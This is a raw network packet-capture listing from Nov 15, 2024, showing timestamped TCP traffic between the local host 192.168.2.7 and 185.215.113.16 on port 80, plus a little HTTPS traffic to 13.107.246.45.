Nov 15, 2024 19:39:34.374838114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374891043 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.375030041 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375041962 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375052929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375062943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375077009 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.375078917 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375082970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375085115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375091076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375107050 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.375135899 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.375237942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375252008 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375262976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375273943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375284910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.375298023 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.375343084 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.375343084 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.404879093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.404897928 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.404907942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.404953957 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.404964924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.404993057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.405019045 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.405055046 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.405061960 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.405072927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.405083895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.405095100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.405134916 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.405157089 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.405164003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.405174017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.405210972 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.406596899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.406660080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.406672001 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.406683922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.406693935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.406713009 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.406744003 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.436161995 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.450436115 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.450505972 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.450642109 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.479756117 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.479756117 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.479763985 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.479772091 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.491252899 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.494805098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.494895935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.494946003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.494949102 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495167017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495215893 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495254993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495266914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495277882 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495300055 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495328903 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495366096 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495379925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495389938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495429039 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495435953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495471954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495481968 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495522022 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495542049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495594025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495604992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495609999 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495646000 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495681047 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495692015 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495702982 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495748997 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495759964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495774031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495784998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495804071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495809078 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495845079 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495888948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495901108 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495912075 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495922089 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495932102 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.495954990 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.495987892 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496082067 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496093988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496104956 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496138096 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496174097 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496191025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496196032 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496197939 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496226072 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496257067 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496294975 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496305943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496315956 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496325970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496336937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496350050 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496385098 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496386051 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496427059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496505976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496516943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496556044 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496582985 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496625900 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496653080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496661901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496673107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496700048 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496793985 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496804953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496814966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496841908 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496871948 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496913910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496925116 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496933937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496962070 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.496974945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.496987104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497014046 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497112989 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497123957 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497134924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497147083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497157097 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497160912 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497189045 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497205973 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497206926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497230053 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497275114 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497348070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497704029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497735023 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497751951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497757912 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497775078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497791052 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497792006 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497806072 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497821093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497834921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497843981 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497849941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497863054 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497869015 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497876883 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497891903 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497895002 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497905970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497917891 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497922897 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497955084 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.497984886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.497999907 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498013973 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498028994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498030901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498044014 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498059988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498066902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498087883 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498126030 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498141050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498156071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498169899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498173952 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498178005 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498193979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498214006 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498234987 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498394012 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498415947 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498430967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498445034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498459101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498460054 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498476028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498480082 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498490095 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498506069 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498517990 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498522043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498534918 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498536110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498550892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498564005 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498570919 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498572111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498585939 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498617887 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498804092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498820066 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498856068 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.498960972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498975992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.498991966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499013901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499015093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499030113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499037981 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499043941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499058962 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499072075 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499084949 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499085903 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499100924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499105930 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499115944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499129057 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499130011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499145031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499159098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499174118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499180079 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499180079 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499188900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499202967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.499223948 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.499248028 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.528111935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528126001 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528141022 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528157949 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528172970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528242111 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.528251886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528270960 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528338909 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528353930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528368950 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528429031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.528429031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.528429031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.528537035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528548002 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.528553009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.528599024 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.529856920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.529882908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.529896021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.529937029 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.529947042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.529962063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.529978991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.529995918 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.530025005 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.530052900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.530066967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.530090094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.530102015 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.530109882 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.530150890 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.530160904 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.530194998 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.549783945 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.549793959 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.618156910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618189096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618205070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618290901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618290901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618305922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618321896 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618346930 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618366003 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618458986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618473053 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618486881 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618500948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618515968 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618531942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618536949 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618546963 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618560076 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618597031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618638992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618653059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618666887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618690014 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618722916 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618737936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618752956 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618767977 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618797064 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618904114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618935108 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618949890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618951082 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.618966103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618980885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.618995905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619007111 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619010925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619029999 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619049072 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619190931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619204998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619219065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619234085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619246960 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619257927 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619261980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619276047 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619277000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619292021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619333029 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619333029 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619518995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619534016 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619549036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619563103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619576931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619580030 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619591951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619597912 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619609118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619623899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619640112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619642973 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619656086 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619667053 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619671106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619685888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619718075 CET	49802	80	192.168.2.7	185.215.113.16
